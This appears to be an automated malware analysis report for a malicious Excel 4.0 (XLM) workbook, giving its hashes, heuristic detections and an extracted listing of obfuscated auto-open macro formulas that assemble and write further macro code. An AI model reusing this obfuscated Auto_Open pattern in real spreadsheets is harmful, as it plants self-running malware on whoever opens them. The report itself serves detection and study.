Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b71424e1fef08db3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:25 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 03e5e49e624e4ce0ba01a2415b6f9cfd SHA-1: c05708c68e645dec9f513a575f38c46f17e9f9c2 SHA-256: b71424e1fef08db3227dc9d4193de4c67433f5b74ed46f4febce2bbc8b8ce77f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6700 bytes
SHA-256: 5ad86386a9f212c55a1d574b0490104b3aa61e2b0ee432b2ada16ca8a4aa30d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WQccbndxHHk
' 0018     25 LABEL : Cell Value, String Constant - aKLYpjQcxf len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A191 
' 0018     25 LABEL : Cell Value, String Constant - aXAjtdcZnK len=0 
' 0018     21 LABEL : Cell Value, String Constant - BeTuBn len=0 
' 0018     27 LABEL : Cell Value, String Constant - GhRdmtxMWcyY len=0 
' 0018     24 LABEL : Cell Value, String Constant - IQicAABkn len=0 
' 0018     21 LABEL : Cell Value, String Constant - JiqWgt len=0 
' 0018     27 LABEL : Cell Value, String Constant - kVmYujzJemwJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - mzliRsWdLI len=0 
' 0018     27 LABEL : Cell Value, String Constant - oUpdEyYKfAGv len=0 
' 0018     24 LABEL : Cell Value, String Constant - prWGaPhzb len=0 
' 0018     24 LABEL : Cell Value, String Constant - PSOjAwcEp len=0 
' 0018     24 LABEL : Cell Value, String Constant - pzIJnUdDG len=0 
' 0018     25 LABEL : Cell Value, String Constant - RydcOkWcwo len=0 
' 0018     26 LABEL : Cell Value, String Constant - vSufwwYUWHc len=0 
' 0018     27 LABEL : Cell Value, String Constant - VTbPsYqhpRzz len=0 
' 0018     24 LABEL : Cell Value, String Constant - WdhWQSSZt len=0 
' 0018     21 LABEL : Cell Value, String Constant - Wwvdlp len=0 
' 0018     24 LABEL : Cell Value, String Constant - YCQVNtwUO len=0 
' 0018     22 LABEL : Cell Value, String Constant - zBjylCA len=0 
' 0018     23 LABEL : Cell Value, String Constant - zTDEADkS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WQccbndxHHk,A86,"SET.NAME("kVmYujzJemwJ",VALUE("0"))",""
'  WQccbndxHHk,A90,"SET.NAME("WdhWQSSZt",kVmYujzJemwJ)",""
'  WQccbndxHHk,A94,"SET.NAME("mzliRsWdLI",kVmYujzJemwJ)",""
'  WQccbndxHHk,A97,"SET.NAME("zTDEADkS",COUNTA(zBjylCA))",""
'  WQccbndxHHk,A99,"SET.NAME("pzIJnUdDG",COUNTA(RydcOkWcwo))",""
'  WQccbndxHHk,A104,[],""
'  WQccbndxHHk,A109,"SET.NAME("JiqWgt","")",""
'  WQccbndxHHk,A114,"WdhWQSSZt",""
'  WQccbndxHHk,A118,"SET.NAME("GhRdmtxMWcyY",HLOOKUP("*",zBjylCA,WdhWQSSZt,FALSE))",""
'  WQccbndxHHk,A123,"aXAjtdcZnK",""
'  WQccbndxHHk,A127,"SET.NAME("PSOjAwcEp",kVmYujzJemwJ)",""
'  WQccbndxHHk,A130,[],""
'  WQccbndxHHk,A134,"PSOjAwcEp",""
'  WQccbndxHHk,A139,"BeTuBn",""
'  WQccbndxHHk,A142,"prWGaPhzb",""
'  WQccbndxHHk,A147,"oUpdEyYKfAGv",""
'  WQccbndxHHk,A151,"SET.NAME("Wwvdlp",VALUE(HLOOKUP("*",RydcOkWcwo,oUpdEyYKfAGv,FALSE)))",""
'  WQccbndxHHk,A154,"YCQVNtwUO",""
'  WQccbndxHHk,A159,"JiqWgt",""
'  WQccbndxHHk,A163,"mzliRsWdLI",""
'  WQccbndxHHk,A165,NEXT(),""
'  WQccbndxHHk,A169,"aKLYpjQcxf",""
'  WQccbndxHHk,A173,"SET.NAME("f",INT(T(FORMULA(T(JiqWgt)&"",""&T(aKLYpjQcxf)))))",""
'  WQccbndxHHk,A178,"VTbPsYqhpRzz",""
'  WQccbndxHHk,A182,NEXT(),""
'  WQccbndxHHk,A186,RETURN(),""
'  WQccbndxHHk,A214,"SET.NAME("vSufwwYUWHc",A86)",""
'  WQccbndxHHk,A216,"zBjylCA",""
'  WQccbndxHHk,A220,"SET.NAME("RydcOkWcwo",R68C15)",""
'  WQccbndxHHk,A223,"SET.NAME("VTbPsYqhpRzz",231)",""
'  WQccbndxHHk,A225,"SET.NAME("IQicAABkn",1)",""
'  WQccbndxHHk,A230,vSufwwYUWHc(),""
'  WQccbndxHHk,A231,HALT(),""

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